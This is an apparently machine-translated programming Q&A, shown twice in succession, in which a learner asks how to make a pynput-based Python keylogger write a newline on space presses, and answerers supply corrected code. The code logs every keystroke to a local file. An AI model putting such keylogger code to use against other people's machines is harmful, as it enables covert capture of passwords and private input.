Python 在按下 space 按钮时创建新行
Python create new line on space button press
我是 运行 Python 3.8(也在 2.7 上测试过)。下面随附的是我参考视频教程创建的键盘记录器的代码,因为我对 Python 还很陌生,正在努力学习。我试图让它在按下 space 键时,它会在文件中写入一个新行,以便它向下移动并看起来更好。我在网上尝试了一些我发现的不同的东西,但是没有任何东西可以修复它。如果有人可以帮助我并解释为什么这不起作用,将不胜感激。谢谢,祝你度过愉快的一周
# Define imports
import pynput
from pynput.keyboard import Key, Listener
# Define variables for keylogger
count = 0
keys = []
# Function to detect key presses
def on_press(key):
global count, keys
keys.append(key)
count += 1
print(str(key))
if count >= 1:
write_file(str(keys))
keys = []
count = 0
# Function to write the letters to a file
def write_file(keys):
with open("log_test.txt", "a") as f:
for key in keys:
k = str(key).replace("'", "").replace("u", "").replace("]", "").replace(",", "").replace("[", "")
if k.find("space") >= 0: # This is the code to check for space bar press
f.write('\n')
else:
k.find("Key") == -1
f.write(k)
# Detect when a key is released
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
检查 space 时,请执行以下操作:
if k.find(" ") >= 0: # use plain space " " and not "space"
f.write('\n')
那是因为你的"k"不是"space",而是"s"、"p"、"a"、"c"、"e".
不是最优雅的方法,但试试这个:
def on_press(key):
global count, keys
keys.append(key)
count += 1
if count >= 1:
write_file(keys) # don't convert to string here
keys = []
count = 0
def write_file(key):
with open("log_test.txt", "a") as f:
if str(key).find("space") >= 0: # transform to string to find what you want
f.write('\n')
elif str(key).find("Key") == -1: # transform to string to find what you want
# key will come as a list, like this: ['char']
# take the first (and only) element, and it will be like this: 'char'
# then remove the "'" and you'll have your character
key = str(key[0]).replace("'", '') # take only the character, then save it
f.write(key)
我是 运行 Python 3.8(也在 2.7 上测试过)。下面随附的是我参考视频教程创建的键盘记录器的代码,因为我对 Python 还很陌生,正在努力学习。我试图让它在按下 space 键时,它会在文件中写入一个新行,以便它向下移动并看起来更好。我在网上尝试了一些我发现的不同的东西,但是没有任何东西可以修复它。如果有人可以帮助我并解释为什么这不起作用,将不胜感激。谢谢,祝你度过愉快的一周
# Define imports
import pynput
from pynput.keyboard import Key, Listener
# Define variables for keylogger
count = 0
keys = []
# Function to detect key presses
def on_press(key):
global count, keys
keys.append(key)
count += 1
print(str(key))
if count >= 1:
write_file(str(keys))
keys = []
count = 0
# Function to write the letters to a file
def write_file(keys):
with open("log_test.txt", "a") as f:
for key in keys:
k = str(key).replace("'", "").replace("u", "").replace("]", "").replace(",", "").replace("[", "")
if k.find("space") >= 0: # This is the code to check for space bar press
f.write('\n')
else:
k.find("Key") == -1
f.write(k)
# Detect when a key is released
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
检查 space 时,请执行以下操作:
if k.find(" ") >= 0: # use plain space " " and not "space"
f.write('\n')
那是因为你的"k"不是"space",而是"s"、"p"、"a"、"c"、"e".
不是最优雅的方法,但试试这个:
def on_press(key):
global count, keys
keys.append(key)
count += 1
if count >= 1:
write_file(keys) # don't convert to string here
keys = []
count = 0
def write_file(key):
with open("log_test.txt", "a") as f:
if str(key).find("space") >= 0: # transform to string to find what you want
f.write('\n')
elif str(key).find("Key") == -1: # transform to string to find what you want
# key will come as a list, like this: ['char']
# take the first (and only) element, and it will be like this: 'char'
# then remove the "'" and you'll have your character
key = str(key[0]).replace("'", '') # take only the character, then save it
f.write(key)